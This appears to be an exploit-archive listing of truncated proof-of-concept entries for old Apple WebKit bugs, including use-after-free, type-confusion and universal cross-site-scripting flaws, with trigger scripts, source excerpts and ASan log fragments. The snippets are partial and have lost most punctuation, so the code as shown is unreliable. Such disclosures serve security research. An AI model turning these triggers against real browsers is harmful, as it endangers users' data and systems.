Apple WebKit - Negative-Size memmove in HTMLFormElement Exploit

Exploit for multiple platform in category dos / poc function go var iframe = document.getElementById"iframe"; var iframeWindow = window0; var toInsert = div; var iframeBody = iframeWindow.document.body; iframeBody.beforedocument.body; iframe.aftertoInsert; aaaaaaaa !--...

Apple WebKit 10.0.2 - HTMLInputElement Use-After-Free

Apple WebKit 10.0.2 - HTMLInputElement Use-After-Free function eventhandler1 input.type = "foo"; function eventhandler2 input.selectionStart = 25; !-- ================================================================= ASAN log from WebKit nightly on Mac:...

Apple WebKit - table Use-After-Free

Apple WebKit - table Use-After-Free -webkit-border-image: urlfoo 1 5 1 63 repeat; -webkit-flow-into: foo function eventhandler var a; document.execCommand"selectAll", false; output.slot = "foo"; table.deleteCaption; //trigger garbage collector forvar i=0;i foo !--...

Apple WebKit 10.0.2(12602.3.12.0.1) - Frame::setDocument (1) Universal Cross-Site Scripting

Apple WebKit 10.0.212602.3.12.0.1 - Frame::setDocument 1 Universal Cross-Site Scripting && newDocument ASSERT!newDocument || newDocument-frame == this; if mdoc && mdoc-pageCacheState != Document::InPageCache mdoc-prepareForDestruction; mdoc = newDocument.copyRef; ... The function...

Apple Webkit - JSCallbackData Universal Cross-Site Scripting

Apple Webkit - JSCallbackData Universal Cross-Site Scripting globalObject-vm, callback JSC::JSObject callback return mcallback.get; JSDOMGlobalObject globalObject return JSC::jsCastmcallback-globalObject; JSC::JSValue invokeCallbackJSC::MarkedArgumentBuffer& args, CallbackType callbackType,...

Apple WebKit 10.0.2 (12602.3.12.0.1_ r210800) - constructJSReadableStreamDefaultReader Type Confusion

Apple WebKit 10.0.2 12602.3.12.0.1 r210800 - constructJSReadableStreamDefaultReader Type Confusion exec.argument0; if !stream return throwArgumentTypeErrorexec, scope, 0, "stream", "ReadableStreamReader", nullptr, "ReadableStream"; JSValue jsFunction = stream-get&exec, Identifier::fromString&exec...

Apple WebKit - ComposedTreeIterator::traverseNextInShadowTree Use-After-Free

Apple WebKit - ComposedTreeIterator::traverseNextInShadowTree Use-After-Free function go d.open = false; d.innerHTML = "foo"; d.open = true; foo !-- ================================================================= ASan log: =================================================================...

Apple WebKit - RenderLayer Use-After-Free

Apple WebKit - RenderLayer Use-After-Free function go div.style.setProperty"-webkit-flow-into", "foo"; document.execCommand"fontSize", false, 6; window.requestAnimationFramecb; h1.attachShadowmode: "open"; h1.replaceWith"foo"; function cb var a; //trigger garbage collector forvar i=0;i !--...

Apple Webkit: UXSS by accessing a named property from an unloaded window (CVE-2017-2367)

The frame is not detached from an unloaded window. We can access to the new document's named properties via the following function. static bool jsDOMWindowPropertiesGetOwnPropertySlotNamedItemGetterJSDOMWindowProperties thisObject, Frame& frame, ExecState exec, PropertyName propertyName,...

Apple WebKit - FormSubmission::create Use-After-Free

Apple WebKit - FormSubmission::create Use-After-Free function go object.name = "foo"; input.autofocus = true; output.appendChildinput; form.submit; function eventhandler forvar i=0;i a !-- ================================================================= Preliminary analysis: The bug is in...

Apple WebKit - WebCore::toJS Use-After-Free

Apple WebKit - WebCore::toJS Use-After-Free function freememory var a; forvar i=0;i !-- ================================================================= ASan log: ================================================================= ==25184==ERROR: AddressSanitizer: heap-use-after-free on address...

Apple Webkit: UXSS with JSCallbackData(CVE-2017-2442)

Here is the definition of |JSCallbackData| class. This class is used to call a javascript function from a DOM object. class JSCallbackDataStrong : public JSCallbackData public: JSCallbackDataStrongJSC::JSObject callback, void : mcallbackcallback-globalObject-vm, callback JSC::JSObject callback...

Apple WebKit: UXSS via disconnectSubframes (CVE-2017-2445)

When an element is removed from a document, the function |disconnectSubframes| is called to detach its subframesiframe tag, object tag, etc.. Here is a snippet of |disconnectSubframes|. void disconnectSubframesContainerNode& root, SubframeDisconnectPolicy policy ... Vector frameOwners; if policy ...

WebKit: Type confusion in constructJSReadableStreamDefaultReader(CVE-2017-2457)

EncodedJSValue JSCHOSTCALL constructJSReadableStreamDefaultReaderExecState& exec VM& vm = exec.vm; auto scope = DECLARETHROWSCOPEvm; JSReadableStream stream = jsDynamicDowncastexec.argument0; if !stream return throwArgumentTypeErrorexec, scope, 0, "stream", "ReadableStreamReader", nullptr,...

Apple WebKit 10.0.2 (12602.3.12.0.1_ r210800) - 'constructJSReadableStreamDefaultReader' Type Confusion

exec.argument0; if !stream return throwArgumentTypeErrorexec, scope, 0, "stream", "ReadableStreamReader", nullptr, "ReadableStream"; JSValue jsFunction = stream-get&exec, Identifier::fromString&exec, "getReader"; let rs = new ReadableStream; let cons = rs.getReader.constructor; rs.getReader =...

Apple WebKit 10.0.2 (12602.3.12.0.1) - 'disconnectSubframes' Universal Cross-Site Scripting

frameOwners; if policy == RootAndDescendants if isroot frameOwners.appenddowncastroot; collectFrameOwnersframeOwners, root; // Must disable frame loading in the subtree so an unload handler cannot // insert more frames and create loaded frames in detached subtrees. SubframeLoadingDisabler...

Apple WebKit - 'ComposedTreeIterator::traverseNextInShadowTree' Use-After-Free

function go d.open = false; d.innerHTML = "foo"; d.open = true; foo !-- ================================================================= ASan log: ================================================================= ==570==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000065058 at pc...

Apple WebKit 10.0.2 - HTMLInputElement Use-After-Free

function eventhandler1 input.type = "foo"; function eventhandler2 input.selectionStart = 25; !-- ================================================================= ASAN log from WebKit nightly on Mac: ================================================================= ==26782==ERROR: AddressSanitize...

Apple Webkit - Universal Cross-Site Scripting by Accessing a Named Property from an Unloaded Window

Apple Webkit - Universal Cross-Site Scripting by Accessing a Named Property from an Unloaded Window document auto& htmlDocument = downcastdocument; auto atomicPropertyName = propertyName.publicName; if atomicPropertyName && htmlDocument.hasWindowNamedItematomicPropertyName JSValue namedItem; if...

Apple WebKit: UXSS via Frame::setDocument (1)(CVE-2017-2364)

void Frame::setDocumentRefPtr&& newDocument ASSERT!newDocument || newDocument-frame == this; if mdoc && mdoc-pageCacheState != Document::InPageCache mdoc-prepareForDestruction; mdoc = newDocument.copyRef; ... The function |prepareForDestruction| only called when the cache state is not...